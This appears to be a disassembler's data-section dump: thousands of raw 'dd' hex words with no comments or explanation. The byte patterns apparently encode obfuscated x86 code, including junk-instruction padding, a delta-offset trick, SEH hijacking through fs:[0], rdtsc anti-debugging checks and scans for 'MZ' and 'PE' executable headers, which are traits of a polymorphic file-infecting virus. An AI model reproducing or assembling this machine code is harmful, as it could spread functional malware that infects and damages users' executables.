		dd 1A04h, 0C3574700h, 0E634F08Dh, 0FEE7AFDh, 684h, 35BD8B00h
		dd 8307E013h, 9D8BFCE1h, 7E01FDDh, 8B0FFCh, 2B000000h
		dd 816657C0h, 5BF48DCBh, 0BAh, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 95BD89FDh
		dd 8907E025h, 0E02B29BDh, 0C233AD07h, 0D003E8D1h, 7504E983h
		dd 55006AF4h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 98CFD18h, 0E0019195h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A59C2DEBh
		dd 31CA7726h, 0D9BD8B8Fh, 0E807E021h, 5, 7ACA0672h, 65958995h
		dd 5B07E030h, 880Dh, 0AD9D0B00h, 8B07E02Dh, 0E0181595h
		dd 599D8907h, 8B07E029h, 0E020498Dh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8B50D9D6h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 74C35242h, 0F98B591Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 79C35343h
		dd 0A9F8CDB1h, 0D3ECA413h, 837FD780h, 0E012F5BDh, 840F0007h
		dd 60h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 0ADC35646h, 9D5D6186h, 0B8D9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 6DDEA3C3h
		dd 8B29DD2Ah, 0E02E11BDh, 0E88D8D07h, 8907E04Eh, 0E034319Dh
		dd 0BBE1FF07h, 18AB8761h, 22C5BD83h, 0F0007E0h,	46F84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0B4559372h, 2FC1BD8Bh, 0BD8307E0h, 7E022C5h
		dd 58840F01h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 6872C357h, 83F9856Ch
		dd 0E022C5BDh, 860F0307h, 3F5h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0D4C35141h,	319D8B37h, 8907E018h
		dd 0E005458Dh, 0A19D0907h, 6007E015h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 45C35545h, 12E945A6h, 0F0000000h
		dd 9713C2E4h, 0B79DDBC5h, 5F7CD353h, 824E26AAh,	0D98C667Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 41C35040h
		dd 80E3D380h, 10E804E1h, 88000000h, 0B3403FBh, 5CD33392h
		dd 7A1B5288h, 8B12889Ch, 0C90A5FD8h, 113840Fh, 0B4600000h
		dd 0A59D0123h, 6107E021h, 3399858Bh, 6A07E0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0E2F3EC3h
		dd 899D8912h, 3307E01Eh, 0E0318985h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 7E90228h, 83000000h
		dd 0B95B6032h, 850F30AAh, 5, 0DEEF8166h, 52505064h, 7E8h
		dd 0AF0DB800h, 0D4845D4h, 0F5F6160h, 5AE7B731h,	24048958h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 44C35747h
		dd 81663026h, 6A7DA1C7h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0CD4B164Bh, 0B7E90DFAh
		dd 8D8971FFh, 7E01C9Dh,	8C989568h, 5AEABB1Ch, 3481137Fh
		dd 939B6A24h, 68D0F1Ch,	8B000000h, 0E021D59Dh, 0CD95FF07h
		dd 8B07E021h, 0E02B5DBDh, 0AD858907h, 0F907E3CBh, 175E9h
		dd 73B75300h, 0A5858B5Fh, 0B707E3CBh, 1800C750h, 0BF000000h
		dd 78318880h, 0B58B85B7h, 7E3CBA9h, 1AC99D8Bh, 858B07E0h
		dd 7E005F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0A0C35040h, 0E95334CBh,	10h, 58ACF4A4h,	0CD0A29F0h
		dd 76166CC3h, 17F5E43h,	5850Fh,	0BDBB0000h, 895AC0E3h
		dd 0B5BD8B06h, 8B07E033h, 0E0339985h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 89C7A697h, 0BB660446h, 505024FCh, 28E0F52h, 60000000h
		dd 0E8310F61h, 13h, 0F7A041Fh, 0EB6E8D06h, 0F1635387h
		dd 456AE418h, 66503E8Eh, 5A5BD88Bh, 24348958h, 8E0Fh, 85890000h
		dd 7E0061Dh, 0CBA5B5FFh, 6A07E3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 79C972C3h, 658D29C0h
		dd 6807E033h, 0DC649FBh, 0FCBF6657h, 34815B54h,	0D94A0424h
		dd 51006A0Dh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0E3650215h, 0AD858DD1h, 6A07E3CBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 17BDC353h, 905B04AEh, 157DBF66h, 0F88B6650h,	71858990h
		dd 0FF07E02Dh, 0E021CD95h, 0E7816607h, 6A6116BFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 9B7BC353h, 13B3C4D3h, 66BE4316h, 0D18FCF81h,	22C585C7h
		dd 307E0h, 0FE80000h, 0A8000000h, 0E1A9265Fh, 26B8F568h
		dd 7D19F2ACh, 860F5831h, 3, 5B49E380h, 0CBADBD83h, 0F0007E3h
		dd 6884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 60F0194Fh, 0DAFE3269h, 0BE9B5CCh
		dd 0AA000000h, 64F81297h, 0EA651398h, 49E9F6CBh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 5BB4C351h, 0D82379Dh, 0DD9D8B01h,	8907E02Ch
		dd 0E0228D85h, 0C305007h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 46C35747h, 1AA9E1B8h,	0FB4DD57h, 6AFBB7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 84572BC3h, 0E88D792Ch, 14h, 3FFC7236h, 2FF19066h, 3ED8611Bh
		dd 12A590FAh, 0F6EFF0EEh, 0A076CF81h, 895B59F7h, 0E01D6D8Dh
		dd 0C5BD8307h, 307E022h, 441850Fh, 8D890000h, 7E02381h
		dd 0CBADBD83h, 0F0007E3h, 42E84h, 959D2300h, 0B707E000h
		dd 0ADB5FFCDh, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0B51BC352h,	7939DBA1h
		dd 7590EB81h, 0B5296DE7h, 7E01A69h, 1DA995FFh, 958907E0h
		dd 7E01A31h, 0CBA1B58Bh, 860F07E3h, 6, 5F0EDF81h, 0BD8938AEh
		dd 7E0335Dh, 106C7h, 6A0001h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9A3C39C3h
		dd 126E221Bh, 0BD8955A9h, 7E00795h, 0DEDBD8Bh, 665007E0h
		dd 89EADABFh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0A1A4F6C3h, 0F15BD874h, 0B5895180h
		dd 7E02DF5h, 0ADB5FF5Fh, 0E907E3CBh, 13h, 0E95AE2E9h, 82AE8DC6h
		dd 5DBB311Eh, 0DDB787FFh, 918F3D4h, 0E02A95B5h,	1195FF07h
		dd 6A07E030h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0A346C353h, 81541493h,	969D4BDBh
		dd 0A1B58B68h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B221C352h,	698D01D4h
		dd 0F807E023h, 22D1858Bh, 9E807E0h, 41000000h, 0FF09CA7Fh
		dd 381AF093h, 6810Fh, 9D8B0000h, 7E023D9h, 0C486895Bh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F23C357h, 198Dh, 14E900h, 0FAF20000h
		dd 18C913DCh, 0F902214Ch, 748BC744h, 0B43798Ah,	958B0E13h
		dd 7E01815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0C0C35343h, 0F9312039h,	8904C283h, 0E0344DB5h
		dd 20508907h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	4CC35545h, 1B05D1B2h, 419D8B87h, 0F507E015h, 0E0D4858Dh
		dd 6A07E3h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0B70585C3h, 22ED9D0Bh, 6EBB07E0h,	89576118h
		dd 0B886h, 6A006A00h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E879C353h, 0Dh, 0ED2C5878h, 0D76F2ED1h
		dd 4C81B866h, 0AD8D31F8h, 5B07E00Fh, 0CBADB5FFh, 6FB707E3h
		dd 2A9995FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 91F2B4C3h, 76DF81BCh, 0E965AE31h
		dd 6, 0B66E9E8Bh, 669683B2h, 508719BFh,	96BA6660h, 6A966142h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0BEE5C357h, 0FF698F4Ch, 0E3CBADB5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0B1E86448h, 1D3F28Eh, 0E02681B5h, 96BB6607h,	0E995FF28h
		dd 0FC07E028h, 28E1BD83h, 0F0007E0h, 5D84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 29795056h, 37E7AC31h, 816694ECh, 50F681DBh, 6A243489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 5648C353h, 34004281h, 60500176h, 29DBB70Fh
		dd 0E0006595h, 0B5FF6107h, 7E3CBADh, 68E0Fh, 0BD030000h
		dd 7E00FA1h, 3595FFFCh,	8B07E030h, 0E007D59Dh, 0ADB5FF07h
		dd 2B07E3CBh, 0E011219Dh, 0B995FF07h, 0E907E001h, 11h
		dd 0B5AB483h, 9B208348h, 0AD092846h, 463877F4h,	31BD837Fh
		dd 207E007h, 54840Fh, 8B660000h, 39858BFEh, 6A07E020h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 8A3EC351h, 876DFD6Bh, 0C6B275B5h,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 38CD71C3h, 0BE1AC69Ch, 85C7C61Bh, 7E0043Dh, 0
		dd 0E9FA8B66h, 0FFFFF2E0h, 8B0FC18Bh, 5, 7BCB8166h, 0C9858D5Dh
		dd 0E907E013h, 8, 1ACD6BBAh, 81A906F3h,	66525050h, 310FD88Bh
		dd 61605250h, 585A310Fh, 489585Ah, 0B5316024h, 7E02535h
		dd 29598D8Bh, 6A6107E0h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 204016FEh, 8736EA7Eh
		dd 0B75B53B4h, 66006A32h, 858DFB8Bh, 7E5410Fh, 5317DF81h
		dd 0C083402Ch, 0DBD8B05h, 9007E029h, 8A50FD8Ah,	6A90F8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0B3AE03C3h, 6A006A61h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 9C88C355h, 128E1136h
		dd 31006A89h, 0E010B585h, 4195FF07h, 8D07E034h,	0E3A3938Dh
		dd 0E5853107h, 0FF07E01Ah, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 2E9FB1BBh
		dd 229FD50Dh, 0BD83478Ah, 7E016B1h, 4C850F01h, 0F000000h
		dd 26ADBBFh, 8B6650F8h,	240489F9h, 6870Fh, 9D8B0000h, 7E026A9h
		dd 0D9BD8Bh, 95FF07E0h,	7E02A99h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D4C35141h,	0D2BA1877h, 0FD9D8953h
		dd 0E907E02Fh, 0D9Fh, 0E8h, 0ED815D00h,	7E54119h, 1031BD89h
		dd 816607E0h, 66CF06C3h, 9148DF81h, 9463858Dh, 9D8907E3h
		dd 7E02A2Dh, 4F59D8Bh, 0F5007E0h, 228Ch, 0E8525000h, 10h
		dd 1D2D126Ah, 5D26DB58h, 53225E3Ch, 0DF6AC66Ch,	0F310F5Bh
		dd 8Dh,	89585A00h, 8B662404h, 0C3BF66DFh, 35FF6437h, 0
		dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 2895C355h, 9E9h, 0D05BC900h
		dd 15666A67h, 85FFE940h, 7E020FDh, 0DE9h, 3DD53B00h, 3A28817Ch
		dd 0A89E7D14h, 0FF6AC083h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 7BC35343h, 0E4DE88D8h, 98FECE0h, 0D8D898Ah
		dd 0FF07E032h, 0E007B9B5h, 8995FF07h, 0E907E033h, 13Eh
		dd 0EE960h, 20740000h, 6DD56BE2h, 0BC1E472Fh, 94495640h
		dd 131D9501h, 0B06107E0h, 0C3816600h, 70E67B8Eh, 71E4FE8Bh
		dd 1B759D8Bh, 613C07E0h, 108830Fh, 0FFC0000h, 0F98BC8B6h
		dd 0D68B6660h, 6BA61FCh, 66000000h, 8BE155BFh, 10E9C1h
		dd 0B5F40000h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h, 0BE9B0BCh
		dd 55000000h, 4971C479h, 342C22Dh, 0E8C116ADh, 0E2F76604h
		dd 185D8589h, 0C82B07E0h, 26B98D89h, 0D18B07E0h, 0F284BF66h
		dd 0ADE9h, 0E9BD8900h, 8B07E01Ch, 47554C85h, 83F98B49h
		dd 0DE907C0h, 73000000h, 0B318E0Eh, 8F9C8FD9h, 7A0DC539h
		dd 1D8D89h, 0C08307E0h,	0F3F78100h, 3B73D80Ah, 1F830FD0h
		dd 9000000h, 0E0251D95h, 68E907h, 0FE90000h, 0F2000000h
		dd 0A7F4DD17h, 0CD27C866h, 8AFFAA1Eh, 8D8B7C92h, 0FFFFFFFFh
		dd 69858B60h, 8007E015h, 83612BE5h, 840F01E1h, 3Ah, 12E9h
		dd 0D661200h, 6AA7781Dh, 93998E26h, 995C92AAh, 83F2B8E1h
		dd 0FFFFFFA5h, 9D03FEFFh, 7E01195h, 554C9589h, 9D8B4947h
		dd 7E01005h, 1A56EEBFh,	0E913h,	0B58D0000h, 7E4BF3Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EBC35141h, 6A71F070h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 25150DEEh, 10618D89h, 0BD8B07E0h, 7E0004Dh
		dd 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BB6677C3h, 0E4B9C008h, 6A00000Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 5435C350h, 2E896999h, 0FE8B6657h,	1DC7BB66h
		dd 81FCE183h, 2E69A2D3h, 6AFC0Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E9E302C3h, 0Ch, 33452159h
		dd 8FFF958Ch, 74FD90E2h, 0B8h, 5D9D8B00h, 0BA07E023h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 44C35343h
		dd 0A7F19862h, 1C29DA1Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 73C35242h
		dd 0FAF0247h, 68Fh, 719D8B00h, 0E907E016h, 13h,	0D976FCDBh
		dd 0D200304Ch, 84DDA731h, 776EC1F2h, 8B92FF02h,	0E019119Dh
		dd 880D07h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 822A10C3h, 0C7AC91C2h, 958BC563h
		dd 7E01815h, 0B5BD8B52h, 5B07E033h, 20498D8Bh, 6A07E0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 2FA141C3h, 0F6B7E381h, 8B504C0Eh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	9E9h, 1AA84F00h, 6D06EF80h, 0BD8B36E2h
		dd 7E02AF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0B9C35242h, 0F5BD8372h,	7E012h,	0D9840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 2BA960C3h, 38F0Fh, 0B70F0000h, 0B8F8h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 231846C3h, 7F63214Fh, 0F517D3BCh, 1B8B0Fh, 8B0F0000h
		dd 15h,	0FE8h, 4A200C00h, 521FDCA6h, 5FE58F18h,	3FC6FB5Dh
		dd 0E88D8D5Bh, 6A07E04Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 4E6AC352h, 88B867BEh
		dd 0A19FAA3Eh, 2F0D8D89h, 6E907E0h, 6000000h, 0E3D5397Fh
		dd 6AE1FF41h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 9EC0C352h, 9A4FB6B5h, 79BD8B2Ch
		dd 8307E007h, 0E022C5BDh, 840F0007h, 422h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h, 89117A0Eh
		dd 0E005DD9Dh, 0C5BD8307h, 107E022h, 40B840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 25EDD8C3h, 0CE20703Bh, 0BD833C0Bh, 7E022C5h,	0A4860F03h
		dd 8B000003h, 0E016B5BDh, 13E96007h, 7B000000h,	0CA13872Bh
		dd 2C0AAE45h, 0C935B547h, 0B83E269Ah, 8C668229h, 57006AD9h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 9D8BD7D0h, 7E01A85h,	8B04E180h, 0E02665BDh, 0FC90A07h
		dd 13284h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 64578BA8h, 38F48059h, 8BF8F5DDh
		dd 0E0339985h, 68D0F07h, 0B000000h, 0E030719Dh,	89853307h
		dd 0E807E031h, 14h, 0CD059B35h,	781AB004h, 0A2E360EAh
		dd 0C5BCB975h, 87833D92h, 0BB66905Bh, 0E8509C4Eh, 13h
		dd 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh, 50E25FC4h
		dd 0D88B6652h, 585A310Fh, 6E9905Bh, 0CD000000h,	0C0AB28A8h
		dd 6A006AF1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E99FC357h, 11h, 84C9A72Dh, 51ACDBAEh
		dd 0A0298CDh, 0D2AD27E8h, 9E87Ch, 0E9800000h, 2E012C2Ch
		dd 346B41Fh, 0E021E59Dh, 8D295F07h, 7E01B61h, 0C13FE668h
		dd 240481E7h, 185DC419h, 0EE8h,	10D60800h, 8F3A459Eh, 0E593AF7h
		dd 50E3B394h, 8D0Fh, 5B5F0000h,	21CD95FFh, 0BE807E0h, 0F3000000h
		dd 9B2C3EB2h, 57E11EF2h, 816645EAh, 5FB645CFh, 0CBAD8589h
		dd 0CEBB07E3h, 0E942F322h, 1AFh, 8BFAB70Fh, 0E3CBA585h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0E559034Eh, 9D8B4CB9h, 7E00511h,	0F6C6E381h
		dd 0C76A52h, 18h, 0CBA9B58Bh, 6A07E3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 91BF3FC3h
		dd 59BD2987h, 8B07E026h, 0E005F985h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0B9F7247Dh
		dd 9AC3134Eh, 7DBD0938h, 8907E02Bh, 0DE8B6606h,	3399858Bh
		dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 687FAFC3h, 0A4C69E73h, 0BD8B1BF1h, 7E02EE9h
		dd 89DF8B66h, 22BF0446h, 963AAD12h, 5BFD8A52h, 97BF6650h
		dd 6A9621h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0F991F9C3h, 0BEF2FBE9h, 0DEB70FA3h, 74D9D2Bh
		dd 0B5FF07E0h, 7E3CBA5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 9FC35646h, 5D8AA668h,	2513BB56h, 348153D4h
		dd 42895924h, 5952956h,	8D07E014h, 0E3CBAD85h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0BE4F1A31h, 0BF0F5B76h, 0D5B589D9h, 5007E007h, 0F240489h
		dd 95FFDFB7h, 7E021CDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0B3C35343h, 9D5AFEB2h, 2100F520h, 2595896Eh
		dd 6107E016h, 0C7F98B66h, 0E022C585h, 307h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0C3393525h, 0BD29F4B8h, 7E00495h, 0CBADBD83h, 0F0007E3h
		dd 2E84h, 0BD9D8900h, 0E907E018h, 3Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 7CC35040h, 2C153A0Bh, 501097B8h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0DD8AC08Bh, 8D896060h, 7E018C9h, 0EE9h, 6BD0AF00h, 27F4963h
		dd 0B903EEB7h, 61C88842h, 666138B2h, 833CCEBFh,	0E022C5BDh
		dd 850F0307h, 3D1h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 2EC35646h, 0BCC56EFFh, 83803D51h, 0E3CBADBDh
		dd 840F0007h, 3A1h, 16C58589h, 0B5FF07E0h, 7E3CBADh, 11999D03h
		dd 95FF07E0h, 7E01DA9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 7BC35343h, 8BD496FCh,	0E3CBA1B5h, 498D8907h
		dd 0C707E008h, 1000106h, 96F88B00h, 96B612BBh, 6DBB5061h
		dd 96190FB1h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	95C35040h, 604C3F62h, 5E8F5h, 9BCE0000h, 1618524h
		dd 0E0237985h, 0FF615907h, 0E3CBADB5h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 4D9D23D8h, 6607E007h, 0FF2FFDBBh, 0E0301195h, 5800F07h
		dd 66000000h, 67A4EB81h, 0CBA1B58Bh, 858907E3h,	7E00769h
		dd 22D1858Bh, 8D8907E0h, 7E00595h, 0C48689h, 0BD8B0000h
		dd 7E01CE9h, 1815958Bh,	800F07E0h, 0Ch,	68E0Fh,	8D090000h
		dd 7E030E9h, 6A04C283h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 5C28C351h, 50891ECFh
		dd 50006A20h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8ADDB05Dh
		dd 0D4858DF9h, 8907E3E0h, 0B886h, 999D8900h, 6A07E010h
		dd 0EE900h, 4130000h, 35FF5BAEh, 0AD19828Bh, 0C37E2B44h
		dd 0CBADB5FFh, 0BD8907E3h, 7E02541h, 2A9995FFh,	8E807E0h
		dd 0F0000000h, 5B93381Ah, 0FFA2E22h, 505BFEB7h,	6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 5999C357h, 0BEE58CA3h, 89698F4Ch,	0E01AEDBDh
		dd 0ADB5FF07h, 6A07E3CBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 8B0FC351h, 9263FBCh
		dd 4DC455E3h, 28E995FFh, 6A07E0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A3A2F9C3h, 0B3F9A14Fh
		dd 0E1BD8333h, 7E028h, 60840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 891837C3h
		dd 0E02DA99Dh, 69B58907h, 9607E008h, 0F501DB3h,	282h, 961BB300h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E5C35545h
		dd 84A84972h, 0CC4470DFh, 21859D8Bh, 0B5FF07E0h, 7E3CBADh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5BC35141h
		dd 0E4E412EBh, 83B40A86h, 0F58FBF66h, 303595FFh, 6A07E0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 2E8690C3h, 0F5448696h, 0CBADB5FFh, 0BD8B07E3h, 7E00DDDh
		dd 1B995FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 59B84EC3h, 9589E5BCh, 7E010C5h
		dd 731BD83h, 0F0207E0h,	5684h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 14CEB371h
		dd 0F11BA21h, 686h, 86D78100h, 8B657408h, 0E0203985h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0C51A07FAh, 0C70000C6h, 0E0043D85h, 7, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8BC5912Dh, 0E0204D9Dh, 0F324E907h, 0BD8BFFFFh, 7E00F51h
		dd 0B199D89h, 0C18B07E0h, 0BAFB8B66h, 0F00E0000h, 0EA81h
		dd 0C283F000h, 0F1958914h, 8307E030h, 858D14EAh, 7E54F59h
		dd 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 658589C8h, 307E004h,	0B70F3C40h, 95890650h, 7E01411h
		dd 8950508Bh, 0E015A595h, 0F80507h, 508B0000h, 89D1030Ch
		dd 0E023E995h, 8500307h, 0F419589h, 8F6407E0h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 2FF5BD83h, 0F0007E0h, 2484h,	5985C600h, 4707E007h, 9AA7D268h
		dd 2DB5FFD4h, 8D07E029h, 0E37FE885h, 6AD0FF07h,	89D0FF00h
		dd 0E016A985h, 0E8D38B07h, 13h,	9BF4917Ah, 0D1A7853Ah
		dd 6B6D9920h, 0AE8610AEh, 6038FCC5h, 6E8h, 47231000h, 660512F2h
		dd 5897C7BFh, 0A490D9B8h, 0F596172h, 387h, 0C0BF0F00h
		dd 5C5BC181h, 8B660000h, 80D22BFAh, 1C8B2CE4h, 0C381FC11h
		dd 11D84D91h, 0F38133B0h, 1D6E5D11h, 0CE8h, 86A4DD00h
		dd 8E44FACAh, 98E090CFh, 0BE9DFh, 0E9140000h, 2E1B6608h
		dd 35253F51h, 0EB815F39h, 4E2F5B97h, 0ADC261B8h, 81665366h
		dd 8F4F8BD6h, 0F5531104h, 2EA835Eh, 800Fh, 4A4A0000h, 4820Fh
